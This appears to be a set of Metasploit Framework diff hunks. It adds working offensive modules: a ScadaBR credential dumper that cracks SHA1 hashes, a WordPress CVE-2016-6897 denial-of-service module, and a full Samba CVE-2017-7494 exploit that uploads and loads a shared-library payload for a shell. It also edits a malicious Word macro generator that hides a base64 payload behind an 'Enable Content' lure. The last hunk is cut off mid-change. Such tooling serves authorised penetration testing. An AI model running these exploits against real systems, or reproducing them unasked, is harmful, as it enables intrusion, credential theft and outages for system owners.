# Little Endian
# @param framework [Msf::Framework]
# @param code [String]
@ -1082,7 +1104,7 @@ require 'msf/core/exe/segment_appender'
to_exe_elf(framework, opts, "template_mipsle_linux.bin", code)
end
# self.to_linux_mipsbe_elf
# Create a 32-bit MIPSBE Linux ELF containing the payload provided in +code+
# Big Endian
# @param framework [Msf::Framework]
# @param code [String]
@ -2117,8 +2139,12 @@ require 'msf/core/exe/segment_appender'
end
if !plat || plat.index(Msf::Module::Platform::Linux)
case arch
when ARCH_X86
to_linux_x86_elf_dll(framework, code, exeopts)
when ARCH_X64
to_linux_x64_elf_dll(framework, code, exeopts)
when ARCH_ARMLE
to_linux_armle_elf_dll(framework, code, exeopts)
end
end
when 'macho', 'osx-app'

View File

@ -68,6 +68,7 @@ class Priv < Extension
if( response.result == 0 and technique != nil )
client.core.use( "stdapi" ) if not client.ext.aliases.include?( "stdapi" )
client.update_session_info
client.sys.config.getprivs
if client.framework.db and client.framework.db.active
client.framework.db.report_note(

View File

@ -139,8 +139,12 @@ attr_accessor :socket, :client, :direct, :shares, :last_share
end
def disconnect(share)
if self.shares[share]
ok = self.client.tree_disconnect(self.shares[share])
self.shares.delete(share)
return ok
end
false
end

View File

@ -24,9 +24,11 @@ Gem::Specification.new do |spec|
spec.homepage = 'https://www.metasploit.com'
spec.license = 'BSD-3-clause'
if File.directory?(File.join(File.dirname(__FILE__), ".git"))
spec.files = `git ls-files`.split($/).reject { |file|
file =~ /^documentation|^data\/gui|^external/
file =~ /^documentation|^external/
}
end
spec.bindir = '.'
if ENV['CREATE_BINSTUBS']
spec.executables = [
@ -34,7 +36,6 @@ Gem::Specification.new do |spec|
'msfd',
'msfrpc',
'msfrpcd',
'msfupdate',
'msfvenom'
]
end
@ -135,7 +136,7 @@ Gem::Specification.new do |spec|
spec.add_runtime_dependency 'rex-struct2'
# Library which contains architecture specific information such as registers, opcodes,
# and stack manipulation routines.
spec.add_runtime_dependency 'rex-arch', '0.1.4'
spec.add_runtime_dependency 'rex-arch'
# Library for working with OLE.
spec.add_runtime_dependency 'rex-ole'
# Library for creating and/or parsing MIME messages.

View File

@ -0,0 +1,222 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'ScadaBR Credentials Dumper',
'Description' => %q{
This module retrieves credentials from ScadaBR, including
service credentials and unsalted SHA1 password hashes for
all users, by invoking the 'EmportDwr.createExportData' DWR
method of Mango M2M which is exposed to all authenticated
users regardless of privilege level.
This module has been tested successfully with ScadaBR
versions 1.0 CE and 0.9 on Windows and Ubuntu systems.
},
'Author' => 'Brendan Coles <bcoles[at]gmail.com>',
'License' => MSF_LICENSE,
'References' => ['URL', 'http://www.scadabr.com.br/?q=node/1375'],
'Targets' => [[ 'Automatic', {} ]],
'DisclosureDate' => 'May 28 2017'))
register_options(
[
Opt::RPORT(8080),
OptString.new('USERNAME', [ true, 'The username for the application', 'admin' ]),
OptString.new('PASSWORD', [ true, 'The password for the application', 'admin' ]),
OptString.new('TARGETURI', [ true, 'The base path to ScadaBR', '/ScadaBR' ]),
OptPath.new('PASS_FILE', [ false, 'Wordlist file to crack password hashes',
File.join(Msf::Config.data_directory, 'wordlists', 'unix_passwords.txt') ])
])
end
def login(user, pass)
res = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'login.htm'),
'method' => 'POST',
'cookie' => "JSESSIONID=#{Rex::Text.rand_text_hex(32)}",
'vars_post' => { 'username' => Rex::Text.uri_encode(user, 'hex-normal'),
'password' => Rex::Text.uri_encode(pass, 'hex-normal') }
unless res
fail_with Failure::Unreachable, "#{peer} Connection failed"
end
if res.code == 302 && res.headers['location'] !~ /login\.htm/ && res.get_cookies =~ /JSESSIONID=([^;]+);/
@cookie = res.get_cookies.scan(/JSESSIONID=([^;]+);/).flatten.first
print_good "#{peer} Authenticated successfully as '#{user}'"
else
fail_with Failure::NoAccess, "#{peer} Authentication failed"
end
end
def export_data
params = 'callCount=1',
"page=#{target_uri.path}/emport.shtm",
"httpSessionId=#{@cookie}",
"scriptSessionId=#{Rex::Text.rand_text_hex(32)}",
'c0-scriptName=EmportDwr',
'c0-methodName=createExportData',
'c0-id=0',
'c0-param0=string:3',
'c0-param1=boolean:true',
'c0-param2=boolean:true',
'c0-param3=boolean:true',
'c0-param4=boolean:true',
'c0-param5=boolean:true',
'c0-param6=boolean:true',
'c0-param7=boolean:true',
'c0-param8=boolean:true',
'c0-param9=boolean:true',
'c0-param10=boolean:true',
'c0-param11=boolean:true',
'c0-param12=boolean:true',
'c0-param13=boolean:true',
'c0-param14=boolean:true',
'c0-param15=boolean:true',
'c0-param16=string:100',
'c0-param17=boolean:true',
'batchId=1'
uri = normalize_uri target_uri.path, 'dwr/call/plaincall/EmportDwr.createExportData.dwr'
res = send_request_cgi 'uri' => uri,
'method' => 'POST',
'cookie' => "JSESSIONID=#{@cookie}",
'ctype' => 'text/plain',
'data' => params.join("\n")
unless res
fail_with Failure::Unreachable, "#{peer} Connection failed"
end
unless res.body =~ /dwr.engine._remoteHandleCallback/
fail_with Failure::UnexpectedReply, "#{peer} Export failed."
end
config_data = res.body.scan(/dwr.engine._remoteHandleCallback\('\d*','\d*',"(.+)"\);/).flatten.first
print_good "#{peer} Export successful (#{config_data.length} bytes)"
begin
return JSON.parse(config_data.gsub(/\\r\\n/, '').gsub(/\\"/, '"'))
rescue
fail_with(Failure::UnexpectedReply, "#{peer} Could not parse exported settings as JSON.")
end
end
def load_wordlist(wordlist)
return unless File.exist? wordlist
File.open(wordlist, 'rb').each_line do |line|
@wordlist << line.chomp
end
end
def crack(user, hash)
return user if hash.eql? Rex::Text.sha1 user
pass = nil
@wordlist.each do |word|
if hash.eql? Rex::Text.sha1 word
pass = word
break
end
end
pass
end
def run
login datastore['USERNAME'], datastore['PASSWORD']
json = export_data
service_data = { address: rhost,
port: rport,
service_name: (ssl ? 'https' : 'http'),
protocol: 'tcp',
workspace_id: myworkspace_id }
columns = 'Username', 'Password', 'Hash (SHA1)', 'Admin', 'E-mail'
user_cred_table = Rex::Text::Table.new 'Header' => 'ScadaBR User Credentials',
'Indent' => 1,
'Columns' => columns
if json['users'].empty?
print_error 'Found no user data'
else
print_good "Found #{json['users'].length} users"
@wordlist = *'0'..'9', *'A'..'Z', *'a'..'z'
@wordlist.concat(['12345', 'admin', 'password', 'scada', 'scadabr'])
load_wordlist datastore['PASS_FILE'] unless datastore['PASS_FILE'].nil?
end
json['users'].each do |user|
next if user['username'].eql?('')
username = user['username']
admin = user['admin']
mail = user['email']
hash = Rex::Text.decode_base64(user['password']).unpack('H*').flatten.first
pass = crack username, hash
user_cred_table << [username, pass, hash, admin, mail]
if pass
print_status "Found weak credentials (#{username}:#{pass})"
creds = { origin_type: :service,
module_fullname: fullname,
private_type: :password,
private_data: pass,
username: user }
else
creds = { origin_type: :service,
module_fullname: fullname,
private_type: :nonreplayable_hash,
private_data: hash,
username: user }
end
creds.merge! service_data
credential_core = create_credential creds
login_data = { core: credential_core,
access_level: (admin ? 'Admin' : 'User'),
status: Metasploit::Model::Login::Status::UNTRIED }
login_data.merge! service_data
create_credential_login login_data
end
columns = 'Service', 'Host', 'Port', 'Username', 'Password'
service_cred_table = Rex::Text::Table.new 'Header' => 'ScadaBR Service Credentials',
'Indent' => 1,
'Columns' => columns
system_settings = json['systemSettings'].first
unless system_settings['emailSmtpHost'].eql?('') || system_settings['emailSmtpUsername'].eql?('')
smtp_host = system_settings['emailSmtpHost']
smtp_port = system_settings['emailSmtpPort']
smtp_user = system_settings['emailSmtpUsername']
smtp_pass = system_settings['emailSmtpPassword']
vprint_good "Found SMTP credentials: #{smtp_user}:#{smtp_pass}@#{smtp_host}:#{smtp_port}"
service_cred_table << ['SMTP', smtp_host, smtp_port, smtp_user, smtp_pass]
end
unless system_settings['httpClientProxyServer'].eql?('') || system_settings['httpClientProxyUsername'].eql?('')
proxy_host = system_settings['httpClientProxyServer']
proxy_port = system_settings['httpClientProxyPort']
proxy_user = system_settings['httpClientProxyUsername']
proxy_pass = system_settings['httpClientProxyPassword']
vprint_good "Found HTTP proxy credentials: #{proxy_user}:#{proxy_pass}@#{proxy_host}:#{proxy_port}"
service_cred_table << ['HTTP proxy', proxy_host, proxy_port, proxy_user, proxy_pass]
end
print_line
print_line user_cred_table.to_s
print_line
print_line service_cred_table.to_s
path = store_loot 'scadabr.config', 'text/plain', rhost, json, 'ScadaBR configuration settings'
print_good "Config saved in: #{path}"
end
end

View File

@ -0,0 +1,171 @@
##
# This module requires Metasploit: http://www.metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HTTP::Wordpress
include Msf::Auxiliary::Dos
def initialize(info = {})
super(update_info(
info,
'Name' => 'WordPress Traversal Directory DoS',
'Description' => %q{
Cross-site request forgery (CSRF) vulnerability in the wp_ajax_update_plugin
function in wp-admin/includes/ajax-actions.php in WordPress before 4.6
allows remote attackers to hijack the authentication of subscribers
for /dev/random read operations by leveraging a late call to
the check_ajax_referer function, a related issue to CVE-2016-6896.},
'License' => MSF_LICENSE,
'Author' =>
[
'Yorick Koster', # Vulnerability disclosure
'CryptisStudents' # Metasploit module
],
'References' =>
[
['CVE', '2016-6897'],
['EDB', '40288'],
['OVEID', 'OVE-20160712-0036']
],
))
register_options(
[
OptInt.new('RLIMIT', [true, 'The number of requests to send', 200]),
OptInt.new('THREADS', [true, 'The number of concurrent threads', 5]),
OptInt.new('TIMEOUT', [true, 'The maximum time in seconds to wait for each request to finish', 5]),
OptInt.new('DEPTH', [true, 'The depth of the path', 10]),
OptString.new('USERNAME', [true, 'The username to send the requests with', '']),
OptString.new('PASSWORD', [true, 'The password to send the requests with', ''])
])
end
def rlimit
datastore['RLIMIT']
end
def username
datastore['USERNAME']
end
def password
datastore['PASSWORD']
end
def thread_count
datastore['THREADS']
end
def timeout
datastore['TIMEOUT']
end
def depth
datastore['DEPTH']
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user]
}.merge(service_data)
login_data = {
last_attempted_at: DateTime.now,
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::SUCCESSFUL,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def user_exists(user)
exists = wordpress_user_exists?(user)
if exists
print_good("Username \"#{username}\" is valid")
report_cred(
ip: rhost,
port: rport,
user: user,
service_name: (ssl ? 'https' : 'http'),
proof: "WEBAPP=\"Wordpress\", VHOST=#{vhost}"
)
return true
else
print_error("\"#{user}\" is not a valid username")
return false
end
end
def run
if wordpress_and_online?
print_status("Checking if user \"#{username}\" exists...")
unless user_exists(username)
print_error('Aborting operation - a valid username must be specified')
return
end
starting_thread = 1
cookie = wordpress_login(username, password)
if cookie.nil?
print_error('Aborting operation - failed to authenticate')
return
end
path = "/#{'../' * depth}dev/random"
while starting_thread < rlimit do
ubound = [rlimit - (starting_thread - 1), thread_count].min
print_status("Executing requests #{starting_thread} - #{(starting_thread + ubound) - 1}...")
threads = []
1.upto(ubound) do |i|
threads << framework.threads.spawn("Module(#{self.refname})-request#{(starting_thread - 1) + i}", false, i) do |i|
begin
# shell code
res = send_request_cgi( opts = {
'method' => 'POST',
'uri' => normalize_uri(wordpress_url_backend, 'admin-ajax.php'),
'vars_post' => {
'action' => 'update-plugin',
'plugin' => path
},
'cookie' => cookie
}, timeout = 0.2)
rescue => e
print_error("Timed out during request #{(starting_thread - 1) + i}")
end
end
end
threads.each(&:join)
print_good("Finished executing requests #{starting_thread} - #{(starting_thread + ubound) - 1}")
starting_thread += ubound
end
if wordpress_and_online?
print_error("FAILED: #{target_uri} appears to still be online")
else
print_good("SUCCESS: #{target_uri} appears to be down")
end
else
print_error("#{rhost}:#{rport}#{target_uri} does not appear to be running WordPress")
end
end
end

View File

@ -49,16 +49,11 @@ class MetasploitModule < Msf::Auxiliary
OptBool.new('SpiderProfiles', [false, 'Spider only user profiles when share = C$', true]),
OptEnum.new('LogSpider', [false, '0 = disabled, 1 = CSV, 2 = table (txt), 3 = one liner (txt)', 3, [0,1,2,3]]),
OptInt.new('MaxDepth', [true, 'Max number of subdirectories to spider', 999]),
OptBool.new('USE_SRVSVC_ONLY', [true, 'List shares only with SRVSVC', false ])
])
deregister_options('RPORT', 'RHOST')
end
def share_type(val)
[ 'DISK', 'PRINTER', 'DEVICE', 'IPC', 'SPECIAL', 'TEMPORARY' ][val]
end
def device_type_int_to_text(device_type)
types = [
"UNSET", "BEEP", "CDROM", "CDROM FILE SYSTEM", "CONTROLLER", "DATALINK",
@ -172,114 +167,6 @@ class MetasploitModule < Msf::Auxiliary
os_info
end
def lanman_netshareenum(ip, rport, info)
shares = []
begin
res = self.simple.client.trans(
"\\PIPE\\LANMAN",
(
[0x00].pack('v') +
"WrLeh\x00" +
"B13BWz\x00" +
[0x01, 65406].pack("vv")
))
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
if e.error_code == 0xC00000BB
vprint_error("Got 0xC00000BB while enumerating shares, switching to srvsvc...")
@srvsvc = true # Make sure the module is aware of this state
return srvsvc_netshareenum(ip)
end
end
return [] if res.nil?
lerror, lconv, lentries, lcount = res['Payload'].to_s[
res['Payload'].v['ParamOffset'],
res['Payload'].v['ParamCount']
].unpack("v4")
data = res['Payload'].to_s[
res['Payload'].v['DataOffset'],
res['Payload'].v['DataCount']
]
0.upto(lentries - 1) do |i|
sname,tmp = data[(i * 20) + 0, 14].split("\x00")
stype = data[(i * 20) + 14, 2].unpack('v')[0]
scoff = data[(i * 20) + 16, 2].unpack('v')[0]
scoff -= lconv if lconv != 0
scomm,tmp = data[scoff, data.length - scoff].split("\x00")
shares << [ sname, share_type(stype), scomm]
end
shares
end
def srvsvc_netshareenum(ip)
shares = []
simple.connect("\\\\#{ip}\\IPC$")
handle = dcerpc_handle('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0', 'ncacn_np', ["\\srvsvc"])
begin
dcerpc_bind(handle)
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
vprint_error(e.message)
return []
end
stubdata =
NDR.uwstring("\\\\#{ip}") +
NDR.long(1) #level
ref_id = stubdata[0,4].unpack("V")[0]
ctr = [1, ref_id + 4 , 0, 0].pack("VVVV")
stubdata << ctr
stubdata << NDR.align(ctr)
stubdata << ["FFFFFFFF"].pack("H*")
stubdata << [ref_id + 8, 0].pack("VV")
response = dcerpc.call(0x0f, stubdata)
res = response.dup
win_error = res.slice!(-4, 4).unpack("V")[0]
if win_error != 0
raise "DCE/RPC error : Win_error = #{win_error + 0}"
end
# remove some uneeded data
res.slice!(0,12) # level, CTR header, Reference ID of CTR
share_count = res.slice!(0, 4).unpack("V")[0]
res.slice!(0,4) # Reference ID of CTR1
share_max_count = res.slice!(0, 4).unpack("V")[0]
raise "Dce/RPC error : Unknow situation encountered count != count max (#{share_count}/#{share_max_count})" if share_max_count != share_count
# RerenceID / Type / ReferenceID of Comment
types = res.slice!(0, share_count * 12).scan(/.{12}/n).map{|a| a[4,2].unpack("v")[0]}
share_count.times do |t|
length, offset, max_length = res.slice!(0, 12).unpack("VVV")
raise "Dce/RPC error : Unknow situation encountered offset != 0 (#{offset})" if offset != 0
raise "Dce/RPC error : Unknow situation encountered length !=max_length (#{length}/#{max_length})" if length != max_length
name = res.slice!(0, 2 * length).gsub('\x00','')
res.slice!(0,2) if length % 2 == 1 # pad
comment_length, comment_offset, comment_max_length = res.slice!(0, 12).unpack("VVV")
raise "Dce/RPC error : Unknow situation encountered comment_offset != 0 (#{comment_offset})" if comment_offset != 0
if comment_length != comment_max_length
raise "Dce/RPC error : Unknow situation encountered comment_length != comment_max_length (#{comment_length}/#{comment_max_length})"
end
comment = res.slice!(0, 2 * comment_length).gsub('\x00','')
res.slice!(0,2) if comment_length % 2 == 1 # pad
name = Rex::Text.to_ascii(name)
s_type = Rex::Text.to_ascii(share_type(types[t]))
comment = Rex::Text.to_ascii(comment)
shares << [ name, s_type, comment ]
end
shares
end
def get_user_dirs(ip, share, base, sub_dirs)
dirs = []
usernames = []
@ -445,11 +332,7 @@ class MetasploitModule < Msf::Auxiliary
begin
connect
smb_login
if @srvsvc
shares = srvsvc_netshareenum(ip)
else
shares = lanman_netshareenum(ip, rport, info)
end
shares = smb_netshareenumall
os_info = get_os_info(ip, rport)
print_status(os_info) if os_info

View File

@ -0,0 +1,472 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::DCERPC
include Msf::Exploit::Remote::SMB::Client
def initialize(info = {})
super(update_info(info,
'Name' => 'Samba is_known_pipename() Arbitrary Module Load',
'Description' => %q{
This module triggers an arbitrary shared library load vulnerability
in Samba versions 3.5.0 to 4.4.14, 4.5.10, and 4.6.4. This module
requires valid credentials, a writeable folder in an accessible share,
and knowledge of the server-side path of the writeable folder. In
some cases, anonymous access combined with common filesystem locations
can be used to automatically exploit this vulnerability.
},
'Author' =>
[
'steelo <knownsteelo[at]gmail.com>', # Vulnerability Discovery & Python Exploit
'hdm', # Metasploit Module
'Brendan Coles <bcoles[at]gmail.com>', # Check logic
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2017-7494' ],
[ 'URL', 'https://www.samba.org/samba/security/CVE-2017-7494.html' ],
],
'Payload' =>
{
'Space' => 9000,
'DisableNops' => true
},
'Platform' => 'linux',
'Targets' =>
[
[ 'Automatic (Interact)',
{ 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ], 'Interact' => true,
'Payload' => {
'Compat' => {
'PayloadType' => 'cmd_interact', 'ConnectionType' => 'find'
}
}
}
],
[ 'Automatic (Command)',
{ 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] }
],
[ 'Linux x86', { 'Arch' => ARCH_X86 } ],
[ 'Linux x86_64', { 'Arch' => ARCH_X64 } ],
[ 'Linux ARM (LE)', { 'Arch' => ARCH_ARMLE } ],
[ 'Linux ARM64', { 'Arch' => ARCH_AARCH64 } ],
[ 'Linux MIPS', { 'Arch' => ARCH_MIPS } ],
[ 'Linux MIPSLE', { 'Arch' => ARCH_MIPSLE } ],
[ 'Linux MIPS64', { 'Arch' => ARCH_MIPS64 } ],
[ 'Linux MIPS64LE', { 'Arch' => ARCH_MIPS64LE } ],
[ 'Linux PPC', { 'Arch' => ARCH_PPC } ],
[ 'Linux PPC64', { 'Arch' => ARCH_PPC64 } ],
[ 'Linux PPC64 (LE)', { 'Arch' => ARCH_PPC64LE } ],
[ 'Linux SPARC', { 'Arch' => ARCH_SPARC } ],
[ 'Linux SPARC64', { 'Arch' => ARCH_SPARC64 } ],
[ 'Linux s390x', { 'Arch' => ARCH_ZARCH } ],
],
'DefaultOptions' =>
{
'DCERPC::fake_bind_multi' => false,
'SHELL' => '/bin/sh',
},
'Privileged' => true,
'DisclosureDate' => 'Mar 24 2017',
'DefaultTarget' => 0))
register_options(
[
OptString.new('SMB_SHARE_NAME', [false, 'The name of the SMB share containing a writeable directory']),
OptString.new('SMB_FOLDER', [false, 'The directory to use within the writeable SMB share']),
])
end
# Setup our mapping of Metasploit architectures to gcc architectures
def setup
super
@@payload_arch_mappings = {
ARCH_X86 => [ 'x86' ],
ARCH_X64 => [ 'x86_64' ],
ARCH_MIPS => [ 'mips' ],
ARCH_MIPSLE => [ 'mipsel' ],
ARCH_MIPSBE => [ 'mips' ],
ARCH_MIPS64 => [ 'mips64' ],
ARCH_MIPS64LE => [ 'mips64el' ],
ARCH_PPC => [ 'powerpc' ],
ARCH_PPC64 => [ 'powerpc64' ],
ARCH_PPC64LE => [ 'powerpc64le' ],
ARCH_SPARC => [ 'sparc' ],
ARCH_SPARC64 => [ 'sparc64' ],
ARCH_ARMLE => [ 'armel', 'armhf' ],
ARCH_AARCH64 => [ 'aarch64' ],
ARCH_ZARCH => [ 's390x' ],
}
# Architectures we don't offically support but can shell anyways with interact
@@payload_arch_bonus = %W{
mips64el sparc64 s390x
}
# General platforms (OS + C library)
@@payload_platforms = %W{
linux-glibc
}
end
# List all top-level directories within a given share
def enumerate_directories(share)
begin
self.simple.connect("\\\\#{rhost}\\#{share}")
stuff = self.simple.client.find_first("\\*")
directories = [""]
stuff.each_pair do |entry,entry_attr|
next if %W{. ..}.include?(entry)
next unless entry_attr['type'] == 'D'
directories << entry
end
return directories
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
vprint_error("Enum #{share}: #{e}")
return nil
ensure
simple.disconnect("\\\\#{rhost}\\#{share}")
end
end
# Determine whether a directory in a share is writeable
def verify_writeable_directory(share, directory="")
begin
simple.connect("\\\\#{rhost}\\#{share}")
random_filename = Rex::Text.rand_text_alpha(5)+".txt"
filename = directory.length == 0 ? "\\#{random_filename}" : "\\#{directory}\\#{random_filename}"
wfd = simple.open(filename, 'rwct')
wfd << Rex::Text.rand_text_alpha(8)
wfd.close
simple.delete(filename)
return true
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
vprint_error("Write #{share}#{filename}: #{e}")
return false
ensure
simple.disconnect("\\\\#{rhost}\\#{share}")
end
end
# Call NetShareGetInfo to retrieve the server-side path
def find_share_path
share_info = smb_netsharegetinfo(@share)
share_info[:path].gsub("\\", "/").sub(/^.*:/, '')
end
# Crawl top-level directories and test for writeable
def find_writeable_path(share)
subdirs = enumerate_directories(share)
return unless subdirs
if datastore['SMB_FOLDER'].to_s.length > 0
subdirs.unshift(datastore['SMB_FOLDER'])
end
subdirs.each do |subdir|
next unless verify_writeable_directory(share, subdir)
return subdir
end
nil
end
# Locate a writeable directory across identified shares
def find_writeable_share_path
@path = nil
share_info = smb_netshareenumall
if datastore['SMB_SHARE_NAME'].to_s.length > 0
share_info.unshift [datastore['SMB_SHARE_NAME'], 'DISK', '']
end
share_info.each do |share|
next if share.first.upcase == 'IPC$'
found = find_writeable_path(share.first)
next unless found
@share = share.first
@path = found
break
end
end
# Locate a writeable share
def find_writeable
find_writeable_share_path
unless @share && @path
print_error("No suitable share and path were found, try setting SMB_SHARE_NAME and SMB_FOLDER")
fail_with(Failure::NoTarget, "No matching target")
end
print_status("Using location \\\\#{rhost}\\#{@share}\\#{@path} for the path")
end
# Store the wrapped payload into the writeable share
def upload_payload(wrapped_payload)
begin
self.simple.connect("\\\\#{rhost}\\#{@share}")
random_filename = Rex::Text.rand_text_alpha(8)+".so"
filename = @path.length == 0 ? "\\#{random_filename}" : "\\#{@path}\\#{random_filename}"
wfd = simple.open(filename, 'rwct')
wfd << wrapped_payload
wfd.close
@payload_name = random_filename
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
print_error("Write #{@share}#{filename}: #{e}")
return false
ensure
simple.disconnect("\\\\#{rhost}\\#{@share}")
end
print_status("Uploaded payload to \\\\#{rhost}\\#{@share}#{filename}")
return true
end
# Try both pipe open formats in order to load the uploaded shared library
def trigger_payload
target = [@share_path, @path, @payload_name].join("/").gsub(/\/+/, '/')
[
"\\\\PIPE\\" + target,
target
].each do |tpath|
print_status("Loading the payload from server-side path #{target} using #{tpath}...")
smb_connect
# Try to execute the shared library from the share
begin
simple.client.create_pipe(tpath)
probe_module_path(tpath)
rescue Rex::StreamClosedError, Rex::Proto::SMB::Exceptions::NoReply, ::Timeout::Error, ::EOFError
# Common errors we can safely ignore
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
# Look for STATUS_OBJECT_PATH_INVALID indicating our interact payload loaded
if e.error_code == 0xc0000039
print_good("Probe response indicates the interactive payload was loaded...")
smb_shell = self.sock
self.sock = nil
remove_socket(sock)
handler(smb_shell)
return true
else
print_error(" >> Failed to load #{e.error_name}")
end
end
disconnect
end
false
end
# Use fancy payload wrappers to make exploitation a joyously lazy exercise
def cycle_possible_payloads
template_base = ::File.join(Msf::Config.data_directory, "exploits", "CVE-2017-7494")
template_list = []
template_type = nil
template_arch = nil
# Handle the generic command types first
if target.arch.include?(ARCH_CMD)
template_type = target['Interact'] ? 'findsock' : 'system'
all_architectures = @@payload_arch_mappings.values.flatten.uniq
# Include our bonus architectures for the interact payload
if target['Interact']
@@payload_arch_bonus.each do |t_arch|
all_architectures << t_arch
end
end
# Prioritize the most common architectures first
%W{ x86_64 x86 armel armhf mips mipsel }.each do |t_arch|
template_list << all_architectures.delete(t_arch)
end
# Queue up the rest for later
all_architectures.each do |t_arch|
template_list << t_arch
end
# Handle the specific architecture targets next
else
template_type = 'shellcode'
target.arch.each do |t_name|
@@payload_arch_mappings[t_name].each do |t_arch|
template_list << t_arch
end
end
end
# Remove any duplicates that mau have snuck in
template_list.uniq!
# Cycle through each top-level platform we know about
@@payload_platforms.each do |t_plat|
# Cycle through each template and yield
template_list.each do |t_arch|
wrapper_path = ::File.join(template_base, "samba-root-#{template_type}-#{t_plat}-#{t_arch}.so.gz")
next unless ::File.exists?(wrapper_path)
data = ''
::File.open(wrapper_path, "rb") do |fd|
data = Rex::Text.ungzip(fd.read)
end
pidx = data.index('PAYLOAD')
if pidx
data[pidx, payload.encoded.length] = payload.encoded
end
vprint_status("Using payload wrapper 'samba-root-#{template_type}-#{t_arch}'...")
yield(data)
end
end
end
# Verify that the payload settings make sense
def sanity_check
if target['Interact'] && datastore['PAYLOAD'] != "cmd/unix/interact"
print_error("Error: The interactive target is chosen (0) but PAYLOAD is not set to cmd/unix/interact")
print_error(" Please set PAYLOAD to cmd/unix/interact and try this again")
print_error("")
fail_with(Failure::NoTarget, "Invalid payload chosen for the interactive target")
end
if ! target['Interact'] && datastore['PAYLOAD'] == "cmd/unix/interact"
print_error("Error: A non-interactive target is chosen but PAYLOAD is set to cmd/unix/interact")
print_error(" Please set a valid PAYLOAD and try this again")
print_error("")
fail_with(Failure::NoTarget, "Invalid payload chosen for the non-interactive target")
end
end
# Shorthand for connect and login
def smb_connect
connect
smb_login
end
# Start the shell train
def exploit
# Validate settings
sanity_check
# Setup SMB
smb_connect
# Find a writeable share
find_writeable
# Retrieve the server-side path of the share like a boss
print_status("Retrieving the remote path of the share '#{@share}'")
@share_path = find_share_path
print_status("Share '#{@share}' has server-side path '#{@share_path}")
# Disconnect
disconnect
# Create wrappers for each potential architecture
cycle_possible_payloads do |wrapped_payload|
# Connect, upload the shared library payload, disconnect
smb_connect
upload_payload(wrapped_payload)
disconnect
# Trigger the payload
early = trigger_payload
# Cleanup the payload
begin
smb_connect
simple.connect("\\\\#{rhost}\\#{@share}")
uploaded_path = @path.length == 0 ? "\\#{@payload_name}" : "\\#{@path}\\#{@payload_name}"
simple.delete(uploaded_path)
disconnect
rescue Rex::StreamClosedError, Rex::Proto::SMB::Exceptions::NoReply, ::Timeout::Error, ::EOFError
end
# Bail early if our interact payload loaded
return if early
end
end
# A version-based vulnerability check for Samba
def check
res = smb_fingerprint
unless res['native_lm'] =~ /Samba ([\d\.]+)/
print_error("does not appear to be Samba: #{res['os']} / #{res['native_lm']}")
return CheckCode::Safe
end
samba_version = Gem::Version.new($1.gsub(/\.$/, ''))
vprint_status("Samba version identified as #{samba_version.to_s}")
if samba_version < Gem::Version.new('3.5.0')
return CheckCode::Safe
end
# Patched in 4.4.14
if samba_version < Gem::Version.new('4.5.0') &&
samba_version >= Gem::Version.new('4.4.14')
return CheckCode::Safe
end
# Patched in 4.5.10
if samba_version > Gem::Version.new('4.5.0') &&
samba_version < Gem::Version.new('4.6.0') &&
samba_version >= Gem::Version.new('4.5.10')
return CheckCode::Safe
end
# Patched in 4.6.4
if samba_version >= Gem::Version.new('4.6.4')
return CheckCode::Safe
end
smb_connect
find_writeable_share_path
disconnect
if @share.to_s.length == 0
print_status("Samba version #{samba_version.to_s} found, but no writeable share has been identified")
return CheckCode::Detected
end
print_good("Samba version #{samba_version.to_s} found with writeable share '#{@share}'")
return CheckCode::Appears
end
end

View File

@ -15,8 +15,8 @@ class MetasploitModule < Msf::Exploit::Remote
super(update_info(info,
'Name' => "Microsoft Office Word Malicious Macro Execution",
'Description' => %q{
This module generates a macro-enabled Microsoft Office Word document. The comments
metadata in the data is injected with a Base64 encoded payload, which will be
This module injects a malicious macro into a Microsoft Office Word document (docx). The
comments field in the metadata is injected with a Base64 encoded payload, which will be
decoded by the macro and execute as a Windows executable.
For a successful attack, the victim is required to manually enable macro execution.
@ -56,66 +56,232 @@ class MetasploitModule < Msf::Exploit::Remote
))
register_options([
OptString.new("BODY", [false, 'The message for the document body',
'Contents of this document are protected. Please click Enable Content to continue.'
]),
OptString.new('FILENAME', [true, 'The Office document macro file', 'msf.docm'])
OptPath.new("CUSTOMTEMPLATE", [false, 'A docx file that will be used as a template to build the exploit']),
OptString.new('FILENAME', [true, 'The Office document macro file (docm)', 'msf.docm'])
])
end
def get_file_in_docx(fname)
i = @docx.find_index { |item| item[:fname] == fname }
def on_file_read(short_fname, full_fname)
buf = File.read(full_fname)
case short_fname
when /document\.xml/
buf.gsub!(/DOCBODYGOESHER/, datastore['BODY'])
when /core\.xml/
p = target.name =~ /Python/ ? payload.encoded : generate_payload_exe
b64_payload = ' ' * 55
b64_payload << Rex::Text.encode_base64(p)
buf.gsub!(/PAYLOADGOESHERE/, b64_payload)
unless i
fail_with(Failure::NotFound, "This template cannot be used because it is missing: #{fname}")
end
# The original filename of __rels is actually ".rels".
# But for some reason if that's our original filename, it won't be included
# in the archive. So this hacks around that.
case short_fname
when /__rels/
short_fname.gsub!(/\_\_rels/, '.rels')
